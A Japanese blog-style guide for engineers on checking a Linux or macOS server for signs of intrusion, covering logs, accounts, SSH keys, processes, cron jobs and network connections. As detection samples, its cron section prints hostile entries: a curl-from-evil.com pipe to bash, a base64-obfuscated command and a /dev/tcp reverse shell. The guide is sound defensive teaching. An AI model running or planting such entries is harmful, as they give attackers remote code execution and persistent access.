はじめに:「完璧に守る」ではなく「確認できる」
セキュリティの話になると、多くのエンジニアがこう感じる。
「正直、よくわからないし、怖い」
AWS の設定を変えるとき、SSH で本番サーバーに入るとき、「これ大丈夫かな…」という不安がつきまとう。
でも、その 「ビビリ」は才能 です。
セキュリティを甘く見る人より、不安を感じる人のほうがずっと向いている。問題は「不安の正体がわからない」ことであって、確認方法を知れば、その不安は 安心 に変わる。
この記事は「攻撃する方法」を教えるものではない。
「壊れていないことを確認する方法」 を伝える記事だ。
読み終わったとき、あなたは自分のサーバーを見て「大丈夫だな」と言えるようになる。
この記事の対応OS
| OS | 対応状況 |
|---|---|
| Linux (Ubuntu/Debian/RHEL/CentOS) | ✅ メイン対象 |
| macOS | ✅ 対応(コマンド併記) |
| Windows | ❌ 対象外 |
Note: macOSはBSD系UNIXベースのため、多くのコマンドがLinuxと共通です。異なる部分は
🍎 macOSとして併記しています。
1. まず知るべきLinuxセキュリティの全体像
1.1 攻撃者はどこから入ってくるのか
サーバーセキュリティを考えるとき、まず「どこが狙われるのか」を知っておく必要がある。 これを Attack Surface(攻撃面) と呼ぶ。
flowchart TD
subgraph Internet["🌐 インターネット"]
Attacker[攻撃者]
end
subgraph EntryPoints["侵入経路"]
SSH[SSH<br>22番ポート]
Web[Webアプリ<br>80/443番]
API[API/その他<br>公開ポート]
Vuln[脆弱性のある<br>ミドルウェア]
end
subgraph LinuxServer["🐧 Linux サーバー"]
OS[Linux OS]
Users[ユーザーアカウント]
Files[ファイルシステム]
Process[プロセス]
Network[ネットワーク通信]
end
subgraph Assets["守るべき資産"]
Data[顧客データ]
Creds[認証情報]
Source[ソースコード]
Compute[計算リソース]
end
Attacker --> SSH
Attacker --> Web
Attacker --> API
Attacker --> Vuln
SSH --> OS
Web --> OS
API --> OS
Vuln --> OS
OS --> Users
OS --> Files
OS --> Process
OS --> Network
Users --> Data
Files --> Creds
Process --> Source
Network --> Compute
style Attacker fill:#ff6b6b,color:#fff
style SSH fill:#ffd43b,color:#000
style Web fill:#ffd43b,color:#000
style API fill:#ffd43b,color:#000
style Vuln fill:#ffd43b,color:#000
style Data fill:#51cf66,color:#fff
style Creds fill:#51cf66,color:#fff
1.2 よくある侵入経路
| 経路 | 狙われる理由 | 対策の基本 |
|---|---|---|
| SSH | パスワード認証が有効だと総当たり可能 | 鍵認証のみ、fail2ban |
| Webアプリ | SQLi, XSS, RCE など | WAF、入力検証、アップデート |
| 公開ポート | 不要なポートが開いている | firewall、最小限のポート |
| ミドルウェア | 古いバージョンの脆弱性 | 定期的なアップデート |
重要なポイント: 攻撃者は「見つけやすいところ」から狙う。特別なサーバーを狙うわけではなく、自動スキャンで「入れるところ」を探している。
2. 侵入された場合、Linuxには何が残るのか
2.1 侵入は「痕跡ゼロ」では終わらない
映画のハッカーのように「痕跡を一切残さない」のは、現実にはかなり難しい。
ほとんどの侵入では、以下のいずれかが残る:
侵入後に残る痕跡
| カテゴリ | 痕跡の種類 |
|---|---|
| 📝 ログ | SSH認証ログ、システムログ、Webアクセスログ |
| 👤 ユーザー・権限 | 新規ユーザー作成、sudo権限の追加、SSH公開鍵の追加 |
| ⚙️ プロセス | 不審なプロセス、cron/systemdへの登録 |
| 📁 ファイル | 実行ファイルの改変、バックドアスクリプト |
| 🌐 通信 | 外向き通信、見覚えのないポート |
2.2 なぜ痕跡が残るのか
- ログを完全に消すには root 権限が必要(そこまで到達していないことも多い)
- 永続化(再起動後も動き続ける仕組み)には設定変更が必要
- 完璧に隠すより「目的を達成する」ほうが優先される
つまり: 確認すれば、多くの場合「異常があれば気づける」。
3. まず確認すべきログ(最重要)
ログは「サーバーの記憶」だ。何が起きたかを知る最も確実な方法。
3.1 SSH認証ログ
場所:
- Linux:
/var/log/auth.log(Ubuntu/Debian)または/var/log/secure(RHEL/CentOS) - macOS:
/var/log/system.logまたはlog showコマンド
# 🐧 Linux: 直近のSSHログイン履歴を確認
grep "Accepted" /var/log/auth.log | tail -20
# 🐧 Linux: 失敗したログイン試行を確認(総当たり攻撃の痕跡)
grep "Failed password" /var/log/auth.log | tail -20
# 🍎 macOS: SSHログイン履歴を確認
log show --predicate 'process == "sshd"' --last 1h
# 🍎 macOS: 認証関連のログを確認
log show --predicate 'eventMessage contains "authentication"' --last 1h
# 🐧🍎 共通: 特定ユーザーのログイン履歴
last | head -20
# 🐧🍎 共通: 現在ログイン中のユーザー
who
w
チェックポイント
## SSH認証ログ確認チェックリスト
- [ ] 見覚えのないIPアドレスからのログイン成功がないか
- [ ] 深夜・休日の不審な時間帯のログインがないか
- [ ] 存在しないはずのユーザー名でのログイン試行がないか
- [ ] 大量の失敗ログイン(総当たり攻撃の兆候)がないか
- [ ] `last` コマンドで自分の記憶と一致するか
🚨 この結果が出たらヤバい
| 出力例 | 危険度 | 意味 | 対応 |
|---|---|---|---|
Accepted password for root from 45.33.32.156 |
🔴 | 見知らぬIPからrootログイン成功 | 即座にパスワード変更、侵入調査 |
Accepted password for admin from ... |
🔴 | 存在しないはずのユーザーでログイン | 侵入された可能性大 |
Failed password for root (15000 times) |
🟡 | 総当たり攻撃を受けている | fail2ban導入、rootログイン禁止 |
Accepted publickey for user from 自分のIP |
🟢 | 正常(自分のログイン) | 問題なし |
# 🟢 正常な例(自分のログイン)
Jan 10 10:15:32 server sshd[1234]: Accepted publickey for yasuhisa from 203.0.113.10 port 54321
# ^^^^^^^^^ 鍵認証 ^^^^^^^^ 自分 ^^^^^^^^^^^^^ 自分のIP
# 🔴 ヤバい例1: 見知らぬIPからのログイン成功
Jan 10 03:42:18 server sshd[9999]: Accepted password for yasuhisa from 45.33.32.156 port 12345
# ^^^^^ 深夜3時 ^^^^^^^^ パスワード認証 ^^^^^^^^^^^^^ 知らないIP
# 🔴 ヤバい例2: 存在しないユーザーでログイン成功
Jan 10 14:22:01 server sshd[8888]: Accepted password for admin from 192.168.1.100
# ^^^^^ このユーザー作った覚えない
# 🟡 注意が必要: 大量の失敗ログイン(総当たり攻撃)
Jan 10 02:00:01 server sshd[1111]: Failed password for root from 185.234.xx.xx
Jan 10 02:00:02 server sshd[1112]: Failed password for root from 185.234.xx.xx
# ↑ これが数千〜数万行続いていたら攻撃を受けている
見るべきポイント:
Accepted= ログイン成功(成功が問題)Failed= ログイン失敗(大量なら攻撃の兆候)password= パスワード認証(鍵認証より危険)publickey= 鍵認証(正常)- 時刻とIPアドレスが自分の記憶と一致するか
3.2 システムログ
場所:
- Linux:
/var/log/syslogまたは/var/log/messages - macOS:
/var/log/system.logまたはlog showコマンド
# 🐧 Linux: 直近のシステムログを確認
tail -100 /var/log/syslog
# 🐧 Linux: 特定キーワードで検索
grep -i "error\|warning\|fail" /var/log/syslog | tail -50
# 🐧 Linux: journalctl(systemd環境)
journalctl -p err -b # 今回起動後のエラーのみ
journalctl --since "1 hour ago"
# 🍎 macOS: システムログを確認
log show --last 1h --predicate 'messageType == error'
# 🍎 macOS: 特定プロセスのログ
log show --last 1h --predicate 'process == "kernel"'
# 🍎 macOS: 従来のシステムログ
tail -100 /var/log/system.log
3.3 Webサーバーログ
場所: /var/log/nginx/ または /var/log/apache2/
# 不審なアクセスパターンを確認
# SQLインジェクション試行
grep -E "union.*select|'.*or.*'|--" /var/log/nginx/access.log
# ディレクトリトラバーサル試行
grep -E "\.\./" /var/log/nginx/access.log
# 404エラーの異常な量(スキャンの兆候)
grep " 404 " /var/log/nginx/access.log | wc -l
4. ユーザー・権限周りの確認
侵入者が「また入れる」ようにするため、ユーザーや権限を変更することがある。
4.1 ユーザー一覧の確認
# 🐧🍎 共通: 全ユーザー一覧
cat /etc/passwd
# 🐧🍎 共通: ログイン可能なユーザー(シェルが設定されている)
grep -v "nologin\|false" /etc/passwd
# 🐧🍎 共通: UID 0(root権限)を持つユーザー
awk -F: '$3 == 0 {print $1}' /etc/passwd
# 🐧 Linux: 最近作成されたユーザー
ls -lt /home/
# 🍎 macOS: ユーザー一覧(GUIユーザー含む)
dscl . list /Users | grep -v "^_"
# 🍎 macOS: ユーザーの詳細情報
dscl . -read /Users/username
🚨 この結果が出たらヤバい
cat /etc/passwd の結果:
# 🟢 正常: 一般的なシステムユーザー
root:x:0:0:root:/root:/bin/bash
yasuhisa:x:1000:1000::/home/yasuhisa:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# 🔴 ヤバい例1: 見覚えのないユーザー
hacker:x:1001:1001::/home/hacker:/bin/bash
#^^^^^^ このユーザー作った覚えがない
# 🔴 ヤバい例2: root以外にUID 0のユーザー
toor:x:0:0::/root:/bin/bash
# ^^^ UID 0 = root権限を持つ別名ユーザー(バックドア)
# 🔴 ヤバい例3: システムユーザーにシェルが設定されている
www-data:x:33:33:www-data:/var/www:/bin/bash
# ^^^^^^^^^ 本来は /usr/sbin/nologin のはず
| 出力パターン | 危険度 | 意味 | 対応 |
|---|---|---|---|
| 見覚えのないユーザー名 | 🔴 | 攻撃者がユーザーを作成した | ユーザー削除、侵入経路調査 |
| UID 0 が root 以外にいる | 🔴 | root権限のバックドアユーザー | 即座に削除、全面調査 |
システムユーザーに /bin/bash |
🟡 | ログイン可能になっている | nologin に戻す |
/home に見覚えのないディレクトリ |
🔴 | ユーザーが作成された痕跡 | 中身を確認、削除 |
4.2 sudo権限の確認
# 🐧 Linux: sudoグループのメンバー
grep -E "^sudo|^wheel" /etc/group
# 🍎 macOS: admin グループのメンバー(sudo権限あり)
dscl . -read /Groups/admin GroupMembership
# 🐧🍎 共通: sudoersファイルの確認
sudo cat /etc/sudoers
sudo ls -la /etc/sudoers.d/
# 🐧 Linux: 最近のsudo使用履歴
grep "sudo" /var/log/auth.log | tail -20
# 🍎 macOS: 最近のsudo使用履歴
log show --predicate 'process == "sudo"' --last 1h
4.3 SSH公開鍵の確認
# 各ユーザーのauthorized_keysを確認
for user in $(ls /home); do
echo "=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
# rootのauthorized_keys
cat /root/.ssh/authorized_keys 2>/dev/null
🚨 この結果が出たらヤバい
cat ~/.ssh/authorized_keys の結果:
# 🟢 正常: 自分の鍵(末尾のコメントで判別)
ssh-rsa AAAAB3NzaC1yc2EAAA... yasuhisa@my-macbook
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5... yasuhisa@work-laptop
# 🔴 ヤバい例1: 見覚えのない鍵が追加されている
ssh-rsa AAAAB3NzaC1yc2EAAA... unknown@kali-linux
# ^^^^^^^^^^^^^^^^^ 見覚えのないコメント
# 🔴 ヤバい例2: コメントなしの鍵(攻撃者が追加した可能性)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...
# ↑ 末尾にコメントがない = 誰が追加したか不明
# 🔴 ヤバい例3: rootに知らない鍵がある
# /root/.ssh/authorized_keys に見覚えのない鍵
| 出力パターン | 危険度 | 意味 | 対応 |
|---|---|---|---|
| 見覚えのないコメントの鍵 | 🔴 | 攻撃者がSSH鍵を追加した | その行を削除、侵入経路調査 |
| コメントなしの鍵 | 🟡 | 誰が追加したか不明 | 自分の鍵か確認、不明なら削除 |
| rootに知らない鍵 | 🔴 | root権限でいつでも侵入可能 | 即座に削除 |
| 鍵の数が増えている | 🟡 | 追加された可能性 | 全ての鍵を確認 |
見るべきポイント:
- 末尾のコメント(
user@hostname)が自分のものか - 鍵の数が記憶と一致するか
authorized_keysの更新日時(ls -la ~/.ssh/)
5. プロセス・常駐プログラムの確認
侵入後、攻撃者は「永続化」を図ることが多い。サーバーを再起動しても動き続ける仕組みを作る。
5.1 侵入後の永続化ポイント
flowchart LR
subgraph Intrusion["侵入成功後"]
A[初期アクセス獲得]
end
subgraph Persistence["永続化手法"]
B[cron登録]
C[systemd登録]
D[SSH鍵追加]
E[ユーザー作成]
F[initスクリプト改変]
G[シェルrc改変]
end
subgraph Impact["影響"]
H[再起動後も動作継続]
I[定期的に実行]
J[いつでも再侵入可能]
end
A --> B
A --> C
A --> D
A --> E
A --> F
A --> G
B --> I
C --> H
D --> J
E --> J
F --> H
G --> H
style A fill:#ff6b6b,color:#fff
style B fill:#ffd43b,color:#000
style C fill:#ffd43b,color:#000
style D fill:#ffd43b,color:#000
style E fill:#ffd43b,color:#000
style F fill:#ffd43b,color:#000
style G fill:#ffd43b,color:#000
5.2 実行中プロセスの確認
# 🐧🍎 共通: 全プロセス一覧
ps aux
# 🐧 Linux: ツリー形式で親子関係を確認
ps auxf
# 🍎 macOS: ツリー形式で親子関係を確認
pstree # brew install pstree が必要
# 🐧🍎 共通: 特定ユーザーのプロセス
ps -u root
# 🐧 Linux: CPU/メモリ使用率が高いプロセス
top -b -n 1 | head -20
# 🍎 macOS: CPU/メモリ使用率が高いプロセス
top -l 1 | head -20
# 🐧🍎 共通: 見覚えのないプロセスを探す
ps aux | grep -v "root\|_" | head -30
🚨 この結果が出たらヤバい
ps aux の結果:
# 🟢 正常: 一般的なプロセス
root 1234 0.0 0.1 nginx: master process
www-data 1235 0.0 0.2 nginx: worker process
mysql 2345 0.5 5.0 /usr/sbin/mysqld
yasuhisa 3456 0.0 0.1 sshd: yasuhisa@pts/0
# 🔴 ヤバい例1: 不審な名前のプロセス
root 6666 99.0 0.1 ./xmrig
# ^^^^^^ 暗号通貨マイナー
# 🔴 ヤバい例2: 隠そうとしているプロセス名
root 7777 0.0 0.1 [kworker/0:0]
# 実際はカーネルスレッドではない偽装
# 🔴 ヤバい例3: /tmp から実行されているプロセス
nobody 8888 0.0 0.1 /tmp/.hidden/backdoor
# ^^^^ /tmp から実行 = 怪しい
# 🔴 ヤバい例4: 削除されたバイナリを実行中
root 9999 0.0 0.1 /usr/bin/something (deleted)
# ^^^^^^^^^ バイナリが削除されている
# 🟡 注意: 見覚えのないスクリプト実行
root 1111 0.0 0.1 python /var/tmp/update.py
# ^^^^^^^^ このスクリプト何?
| 出力パターン | 危険度 | 意味 | 対応 |
|---|---|---|---|
xmrig, minerd などの名前 |
🔴 | 暗号通貨マイナー | プロセス停止、侵入経路調査 |
/tmp や /var/tmp から実行 |
🔴 | 一時ディレクトリからの実行は異常 | プロセス停止、ファイル確認 |
(deleted) と表示 |
🔴 | 実行ファイルが削除済み(証拠隠滅) | 即座に調査 |
| CPU 100% のプロセス | 🟡 | マイナーか暴走プロセス | 内容を確認 |
| 見覚えのないプロセス名 | 🟡 | 調査が必要 | ls -la /proc/PID/exe で実体確認 |
調査コマンド:
# プロセスの実行ファイルを確認
ls -la /proc/<PID>/exe
# プロセスが開いているファイルを確認
ls -la /proc/<PID>/fd/
# プロセスの起動コマンドを確認
cat /proc/<PID>/cmdline | tr '\0' ' '
5.3 cronの確認
# 🐧 Linux: システムcron
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
# 🐧 Linux: ユーザーcron
for user in $(cut -d: -f1 /etc/passwd); do
crontab -l -u $user 2>/dev/null && echo "^^^ $user's crontab ^^^"
done
# 🍎 macOS: 現在のユーザーのcron
crontab -l
# 🍎 macOS: LaunchAgents/LaunchDaemons(macOS版の自動起動)
ls -la ~/Library/LaunchAgents/
ls -la /Library/LaunchAgents/
ls -la /Library/LaunchDaemons/
ls -la /System/Library/LaunchDaemons/
5.4 systemdサービスの確認(Linux)/ launchd(macOS)
# 🐧 Linux: 有効なサービス一覧
systemctl list-unit-files --state=enabled
# 🐧 Linux: 実行中のサービス
systemctl list-units --type=service --state=running
# 🐧 Linux: 最近追加されたサービスファイル
ls -lt /etc/systemd/system/*.service 2>/dev/null | head -10
ls -lt /lib/systemd/system/*.service 2>/dev/null | head -10
# 🍎 macOS: 実行中のサービス一覧
launchctl list
# 🍎 macOS: 特定のLaunchDaemonの状態確認
launchctl print system/com.apple.xxx
🚨 この結果が出たらヤバい
crontab -l や /etc/crontab の結果:
# 🟢 正常: 一般的なcronジョブ
0 2 * * * /usr/bin/certbot renew # 証明書更新
0 * * * * /usr/local/bin/backup.sh # バックアップ
# 🔴 ヤバい例1: 外部からスクリプトをダウンロード・実行
*/5 * * * * curl http://evil.com/script.sh | bash
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 外部スクリプト実行
# 🔴 ヤバい例2: /tmp から実行
@reboot /tmp/.hidden/backdoor
# ^^^^^^^^^^^^^^^^^^^^^ /tmpから起動時実行
# 🔴 ヤバい例3: Base64エンコードされたコマンド
* * * * * echo "YmFzaCAtaSA+..." | base64 -d | bash
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 難読化されている
# 🔴 ヤバい例4: リバースシェル
*/10 * * * * bash -i >& /dev/tcp/1.2.3.4/4444 0>&1
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 外部への接続
macOS LaunchAgents/Daemons:
# 🔴 ヤバい例: 見覚えのないplistファイル
/Library/LaunchDaemons/com.update.helper.plist
# ^^^^^^^^^^^^^^^^^^^ システムっぽい名前だが見覚えがない
| 出力パターン | 危険度 | 意味 | 対応 |
|---|---|---|---|
curl ... | bash |
🔴 | 外部スクリプトをダウンロード実行 | 即座に削除、調査 |
/tmp や /var/tmp のパス |
🔴 | 一時ディレクトリから永続実行 | エントリ削除、ファイル確認 |
base64 でエンコード |
🔴 | コマンドを隠している | デコードして内容確認 |
/dev/tcp/ |
🔴 | リバースシェル(外部接続) | 即座に削除、ネットワーク遮断 |
| 見覚えのないLaunchDaemon | 🔴 | 永続化バックドア | plist削除、起動プログラム確認 |
短い間隔(*/1など)で実行 |
🟡 | 頻繁に何かを実行 | 内容を確認 |
6. ファイル改変・バックドアの確認
6.1 最近更新されたファイル
# 過去24時間に更新されたファイル(システムディレクトリ)
find /usr/bin /usr/sbin /bin /sbin -mtime -1 -type f 2>/dev/null
# 過去7日間に更新された設定ファイル
find /etc -mtime -7 -type f 2>/dev/null
# 特定ディレクトリの最近更新されたファイル
ls -lt /var/www/html/ | head -20
6.2 不審な場所のチェック
# /tmp, /var/tmp の実行ファイル(普通は置かない)
find /tmp /var/tmp -type f -executable 2>/dev/null
# 隠しファイル
find /tmp /var/tmp -name ".*" -type f 2>/dev/null
# Webディレクトリの不審なファイル
find /var/www -name "*.php" -mtime -7 2>/dev/null
find /var/www -name "*.sh" 2>/dev/null
6.3 SUID/SGIDファイルの確認
# SUIDビットが立っているファイル(権限昇格に使われる可能性)
find / -perm -4000 -type f 2>/dev/null
# 一般的なSUIDファイルと比較して、見覚えのないものがないか確認
7. ネットワーク通信の確認
侵入後、外部への通信(C2サーバーへの接続、データ送信)が発生することがある。
7.1 開いているポートの確認
# 🐧 Linux: リッスンしているポート一覧
ss -tlnp
# または
netstat -tlnp
# 🍎 macOS: リッスンしているポート一覧
lsof -i -P | grep LISTEN
# または
netstat -an | grep LISTEN
# 🐧 Linux: すべての接続(ESTABLISHED含む)
ss -anp
# 🍎 macOS: すべての接続
lsof -i -P
netstat -an
7.2 外向き通信の確認
# 🐧 Linux: 確立されている外部接続
ss -tnp | grep ESTAB
# 🍎 macOS: 確立されている外部接続
lsof -i -P | grep ESTABLISHED
netstat -an | grep ESTABLISHED
# 🐧 Linux: 接続先IPアドレスの一覧
ss -tn | awk 'NR>1 {print $5}' | cut -d: -f1 | sort -u
# 🍎 macOS: 接続先IPアドレスの一覧
netstat -an | grep ESTABLISHED | awk '{print $5}' | cut -d. -f1-4 | sort -u
🚨 この結果が出たらヤバい
ss -tlnp / lsof -i -P | grep LISTEN の結果:
# 🟢 正常: 一般的なリッスンポート
*:22 LISTEN sshd # SSH
*:80 LISTEN nginx # HTTP
*:443 LISTEN nginx # HTTPS
127.0.0.1:3306 LISTEN mysqld # MySQL(ローカルのみ)
# 🔴 ヤバい例1: 見覚えのないポートが開いている
*:4444 LISTEN nc # netcat が待ち受けている
# ^^^^^^ ^^ バックドアの典型的なパターン
# 🔴 ヤバい例2: 見覚えのないプロセスがリッスン
*:8888 LISTEN ./update # 怪しい名前のプロセス
# 🔴 ヤバい例3: 内部向けのはずのポートが全体公開
*:3306 LISTEN mysqld # MySQLが 0.0.0.0 で公開されている
#^ ローカルホストではなく全インターフェース
ss -tnp | grep ESTAB の結果:
# 🟢 正常: 既知のサービスへの接続
ESTAB 192.168.1.10:443 → 151.101.1.140:443 # GitHubへのHTTPS
ESTAB 192.168.1.10:22 ← 203.0.113.10:54321 # 自分からのSSH接続
# 🔴 ヤバい例1: 見覚えのないIPへの接続
ESTAB 192.168.1.10:54321 → 45.33.32.156:4444 # 謎のIPの4444番ポート
# ^^^^^^^^^^^^:^^^^^ C2サーバーへの接続の可能性
# 🔴 ヤバい例2: IRCポートへの接続
ESTAB 192.168.1.10:12345 → 1.2.3.4:6667 # IRC(ボットネット)
# ^^^^ IRCポート
# 🔴 ヤバい例3: 大量の外部接続
# 同じIPへの接続が何十本もある → スパム送信やDDoS参加の可能性
| 出力パターン | 危険度 | 意味 | 対応 |
|---|---|---|---|
nc や ncat がリッスン |
🔴 | バックドアの典型 | プロセス停止、侵入経路調査 |
| 4444, 5555 など特徴的なポート | 🔴 | 一般的なバックドアポート | 即座に調査 |
| 見覚えのないIPへの ESTAB 接続 | 🔴 | C2サーバーへの接続かも | IPを調査、プロセス特定 |
| ポート 6667 (IRC) への接続 | 🔴 | ボットネット参加の可能性 | 即座に遮断・調査 |
| MySQLなどが 0.0.0.0 でリッスン | 🟡 | 外部からアクセス可能 | 設定見直し |
調査コマンド:
# そのポートを使っているプロセスを特定
lsof -i :4444
# そのIPアドレスを調査
whois 45.33.32.156
nslookup 45.33.32.156
# 接続しているプロセスを特定
ss -tnp | grep "45.33.32.156"
7.3 ファイアウォール設定の確認
# 🐧 Linux: iptables
sudo iptables -L -n -v
# 🐧 Linux: ufw(Ubuntu)
sudo ufw status verbose
# 🐧 Linux: firewalld(RHEL/CentOS)
sudo firewall-cmd --list-all
# 🍎 macOS: ファイアウォール状態確認
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
# 🍎 macOS: ファイアウォール許可アプリ一覧
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --listapps
# 🍎 macOS: pfファイアウォール(詳細)
sudo pfctl -sr
チェックポイント
## ネットワーク確認チェックリスト
- [ ] 想定外のポートがリッスンしていないか
- [ ] 見覚えのない外部IPへの接続がないか
- [ ] ファイアウォールが有効になっているか
- [ ] 不要なポートがブロックされているか
8. 「侵入されていない」と判断してよいライン
ここまでの確認を行って、以下がすべて該当すれば「合理的に安全」と判断できる。
✅ 安全と判断できる条件
| カテゴリ | 確認項目 |
|---|---|
| 📝 ログ | SSHログインが自分の記憶と一致 |
| 📝 ログ | 失敗ログインが異常に多くない |
| 📝 ログ | システムログにクリティカルな異常なし |
| 👤 ユーザー・権限 | 知らないユーザーがいない |
| 👤 ユーザー・権限 | sudo権限が想定通り |
| 👤 ユーザー・権限 | SSH公開鍵が自分のものだけ |
| ⚙️ プロセス | 不審なプロセスがない |
| ⚙️ プロセス | cron/systemdに見覚えのないものがない |
| 📁 ファイル | システムファイルが最近更新されていない |
| 📁 ファイル | /tmp等に不審なファイルがない |
| 🌐 ネットワーク | 想定外のポートが開いていない |
| 🌐 ネットワーク | 不審な外部通信がない |
重要な心構え
「100%安全」は存在しない。 でも、上記をすべて確認できれば「合理的に安全と判断できる」状態だ。
「不安」は「確認不足」のサイン。確認すれば安心に変わる。
9. Webエンジニアが最低限学ぶべきセキュリティ基礎
9.1 最小権限の原則
# 悪い例:すべてroot権限で作業
sudo su -
# ずっとrootのまま...
# 良い例:必要な時だけsudo
sudo systemctl restart nginx
- アプリケーションは専用ユーザーで動かす
- root権限は必要な時だけ使う
- ファイル権限は必要最小限に
9.2 ログを見る習慣
週1回でもいいから、ログを見る習慣をつける。
# 簡易ヘルスチェックスクリプト例
#!/bin/bash
echo "=== SSH認証ログ(直近の成功)==="
grep "Accepted" /var/log/auth.log | tail -5
echo -e "\n=== 失敗ログイン数 ==="
grep "Failed password" /var/log/auth.log | wc -l
echo -e "\n=== 現在のログインユーザー ==="
who
echo -e "\n=== リッスン中のポート ==="
ss -tlnp
9.3 変更点を記録する
# サーバーに変更を加えたら記録
echo "$(date): nginx設定変更、SSL証明書更新" >> ~/server-changelog.txt
何をしたか覚えていないと、「これ自分がやったっけ?」という不安が増える。
9.4 仕組みで防ぐ
人間の注意力に頼らない。ツールで自動化する。
# fail2ban:SSH総当たり攻撃を自動ブロック
sudo apt install fail2ban
sudo systemctl enable fail2ban
# ufw:シンプルなファイアウォール
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow ssh
sudo ufw allow http
sudo ufw allow https
sudo ufw enable
9.5 「不安=確認不足」という理解
| 不安の種類 | 確認方法 |
|---|---|
| 誰かにログインされた? | last, /var/log/auth.log |
| 変なプロセス動いてる? | ps aux, top |
| ポート開いてる? | ss -tlnp |
| ファイル改ざん? | find -mtime, ls -lt |
不安を感じたら、対応する確認コマンドを実行する。それだけで安心できる。
10. まとめ:セキュリティは才能ではなく構造理解
この記事で学んだこと
| # | ポイント | 詳細 |
|---|---|---|
| 1 | 攻撃面(Attack Surface)の把握 | どこから入られる可能性があるかを知る |
| 2 | 侵入の痕跡は残る | ログ・ユーザー・プロセス・ファイル・通信 |
| 3 | 確認方法を知っていれば怖くない | 具体的なコマンドとチェックポイント |
| 4 | 「100%安全」ではなく「合理的に安全」を目指す | 確認できることをすべて確認する |
| 5 | ビビリはセキュリティに向いている | 不安を感じる人は確認する動機がある |
最後に
Linuxサーバーは「調べられる」から怖くない。
「なんとなく不安」を「確認したから大丈夫」に変える。それがセキュリティの第一歩だ。
この記事のコマンドをブックマークしておいて、不安になったら実行してみてほしい。きっと「あ、大丈夫だ」と思えるはずだ。
そして、その 「大丈夫」を自分で確認できる こと自体が、エンジニアとしての大きな成長だ。
付録:クイックチェックスクリプト
以下のスクリプトを定期的に実行すると、簡易的なセキュリティチェックができる。
#!/bin/bash
# security-quick-check.sh
echo "====================================="
echo "Linux Security Quick Check"
echo "$(date)"
echo "====================================="
echo -e "\n[1] 最近のSSHログイン成功"
grep "Accepted" /var/log/auth.log 2>/dev/null | tail -5 || \
grep "Accepted" /var/log/secure 2>/dev/null | tail -5
echo -e "\n[2] 失敗ログイン数(過去24時間)"
grep "Failed password" /var/log/auth.log 2>/dev/null | \
grep "$(date -d '1 day ago' '+%b %d')\|$(date '+%b %d')" | wc -l
echo -e "\n[3] 現在ログイン中のユーザー"
who
echo -e "\n[4] UID 0のユーザー(rootのみが正常)"
awk -F: '$3 == 0 {print $1}' /etc/passwd
echo -e "\n[5] リッスン中のポート"
ss -tlnp 2>/dev/null | grep LISTEN
echo -e "\n[6] 外部への確立済み接続"
ss -tnp 2>/dev/null | grep ESTAB | head -10
echo -e "\n[7] CPU使用率上位プロセス"
ps aux --sort=-%cpu | head -6
echo -e "\n[8] /tmp内の実行ファイル"
find /tmp -type f -executable 2>/dev/null
echo -e "\n====================================="
echo "Check completed"
echo "====================================="
使い方:
# スクリプトを保存
vim ~/security-quick-check.sh
# 実行権限を付与
chmod +x ~/security-quick-check.sh
# 実行
sudo ~/security-quick-check.sh